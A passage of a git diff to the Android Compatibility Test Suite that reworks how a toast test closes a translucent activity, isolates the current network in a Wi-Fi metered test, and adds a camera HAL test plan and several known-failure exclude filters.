import android.os.Bundle;
import androidx.annotation.NonNull;
@@ -33,8 +30,6 @@ import androidx.fragment.app.FragmentManager;
public class TranslucentActivity extends AppCompatActivity {
private static final String ACTION_TRANSLUCENT_ACTIVITY_RESUMED =
"android.widget.cts.app.TRANSLUCENT_ACTIVITY_RESUMED";
- private static final String ACTION_TRANSLUCENT_ACTIVITY_FINISH =
- "android.widget.cts.app.TRANSLUCENT_ACTIVITY_FINISH";
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -47,14 +42,6 @@ public class TranslucentActivity extends AppCompatActivity {
}
@Override
- protected void onStart() {
- super.onStart();
- IntentFilter filter = new IntentFilter();
- filter.addAction(ACTION_TRANSLUCENT_ACTIVITY_FINISH);
- registerReceiver(mFinishActivityReceiver, filter);
- }
-
- @Override
protected void onResume() {
super.onResume();
Intent intent = new Intent(ACTION_TRANSLUCENT_ACTIVITY_RESUMED);
@@ -62,19 +49,6 @@ public class TranslucentActivity extends AppCompatActivity {
sendBroadcast(intent);
}
- @Override
- protected void onStop() {
- super.onStop();
- unregisterReceiver(mFinishActivityReceiver);
- }
-
- private final BroadcastReceiver mFinishActivityReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- finish();
- }
- };
-
public static class SampleFragment extends DialogFragment {
@NonNull
@Override
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 64a5cf33ebb..01339eb35ae 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -95,8 +95,8 @@ public class ToastTest {
private static final int MAX_PACKAGE_TOASTS_LIMIT = 5;
private static final String ACTION_TRANSLUCENT_ACTIVITY_RESUMED =
"android.widget.cts.app.TRANSLUCENT_ACTIVITY_RESUMED";
- private static final String ACTION_TRANSLUCENT_ACTIVITY_FINISH =
- "android.widget.cts.app.TRANSLUCENT_ACTIVITY_FINISH";
+ private static final ComponentName COMPONENT_CTS_ACTIVITY =
+ ComponentName.unflattenFromString("android.widget.cts/.CtsActivity");
private static final ComponentName COMPONENT_TRANSLUCENT_ACTIVITY =
ComponentName.unflattenFromString("android.widget.cts.app/.TranslucentActivity");
private static final double TOAST_DURATION_ERROR_TOLERANCE_FRACTION = 0.25;
@@ -873,7 +873,14 @@ public class ToastTest {
mActivityRule.runOnUiThread(mToast::show);
assertCustomToastNotShown(view);
- mContext.sendBroadcast(new Intent(ACTION_TRANSLUCENT_ACTIVITY_FINISH));
+
+ // Start CtsActivity with CLEAR_TOP flag to finish the TranslucentActivity on top.
+ intent = new Intent();
+ intent.setComponent(COMPONENT_CTS_ACTIVITY);
+ intent.setAction(Intent.ACTION_MAIN);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TOP
+ | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ mActivityRule.getActivity().startActivity(intent);
}
@UiThreadTest
diff --git a/tests/tests/wifi/AndroidTest.xml b/tests/tests/wifi/AndroidTest.xml
index 421a9f7528f..5da40eafc64 100644
--- a/tests/tests/wifi/AndroidTest.xml
+++ b/tests/tests/wifi/AndroidTest.xml
@@ -43,6 +43,5 @@
<object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
<option name="mainline-module-package-name" value="com.google.android.wifi" />
- <option name="mainline-module-package-name" value="com.google.android.tethering" />
</object>
</configuration>
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index d2442d0caee..81129ed68fe 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -2660,9 +2660,10 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
waitForConnection();
WifiInfo wifiInfo = mWifiManager.getConnectionInfo();
+ savedNetworks = mWifiManager.getConfiguredNetworks();
// find the current network's WifiConfiguration
- currentConfig = mWifiManager.getConfiguredNetworks()
+ currentConfig = savedNetworks
.stream()
.filter(config -> config.networkId == wifiInfo.getNetworkId())
.findAny()
@@ -2673,6 +2674,14 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
currentConfig.meteredOverride,
WifiConfiguration.METERED_OVERRIDE_METERED);
+ // Disable all except the currently connected networks to avoid reconnecting to the
+ // wrong network after later setting the current network as metered.
+ for (WifiConfiguration network : savedNetworks) {
+ if (network.networkId != currentConfig.networkId) {
+ assertTrue(mWifiManager.disableNetwork(network.networkId));
+ }
+ }
+
// Check the network capabilities to ensure that the network is marked not metered.
waitForNetworkCallbackAndCheckForMeteredness(false);
@@ -2700,6 +2709,12 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
if (currentConfig != null) {
mWifiManager.updateNetwork(currentConfig);
}
+ // re-enable all networks
+ if (savedNetworks != null) {
+ for (WifiConfiguration network : savedNetworks) {
+ mWifiManager.enableNetwork(network.networkId, true);
+ }
+ }
uiAutomation.dropShellPermissionIdentity();
}
}
diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
index ea04fab9b26..a887709bfba 100644
--- a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
+++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
@@ -36,6 +36,7 @@ import android.os.CancellationSignal;
import android.os.PersistableBundle;
import android.os.Process;
import android.permission.PermissionManager;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.uwb.RangingReport;
import android.uwb.RangingSession;
@@ -59,6 +60,7 @@ import java.util.concurrent.TimeUnit;
*/
@SmallTest
@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Cannot get UwbManager in instant app mode")
public class UwbManagerTest {
private static final String TAG = "UwbManagerTest";
diff --git a/tools/cts-tradefed/res/config/cts-camera-hal.xml b/tools/cts-tradefed/res/config/cts-camera-hal.xml
new file mode 100644
index 00000000000..ec049c067d7
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-camera-hal.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Runs a subset of CTS tests for Camera HAL ">
+ <option name="plan" value="cts-camera-hal" />
+ <option name="result-attribute" key="camera-hal" value="1" />
+
+ <!-- All camera CTS tests -->
+ <option name="compatibility:include-filter" value="CtsCameraTestCases" />
+
+ <!-- All related tests -->
+ <option name="compatibility:include-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testCameraFeatures"/>
+ <option name="compatibility:include-filter" value="CtsCameraApi25TestCases" />
+ <option name="compatibility:include-filter" value="CtsCameraApi31TestCases" />
+ <option name="compatibility:include-filter" value="CtsPermissionTestCases" />
+ <option name="compatibility:include-filter" value="CtsViewTestCases" />
+
+</configuration> \ No newline at end of file
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
index 1b6b9bbc9a5..250fba80eb8 100644
--- a/tools/cts-tradefed/res/config/cts-foldable.xml
+++ b/tools/cts-tradefed/res/config/cts-foldable.xml
@@ -26,5 +26,8 @@
<!-- b/178344549: CtsCameraTestCases failures due to covered lenses in folded mode-->
<option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
<option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.BurstCaptureTest#testJpegBurst" />
+ <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
+ launcher always visible on one of the screens. -->
+ <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index ba0c0d3fb28..c6b45378d1e 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -243,5 +243,9 @@
<!-- b/194146521 -->
<option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" />
+
+ <!-- b/198992105 -->
+ <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsd.atom.UidAtomTests#testDangerousPermissionState" />
+ <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsd.atom.UidAtomTests#testDangerousPermissionStateSampled" />
</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index b1584e6e5d6..0145e55b870 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -90,4 +90,6 @@
<!-- b/194146521 -->
<option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" />
+ <!-- b/199996926 - No UWB stack support in AOSP for Android S -->
+ <option name="compatibility:exclude-filter" value="CtsUwbTestCases" />
</configuration>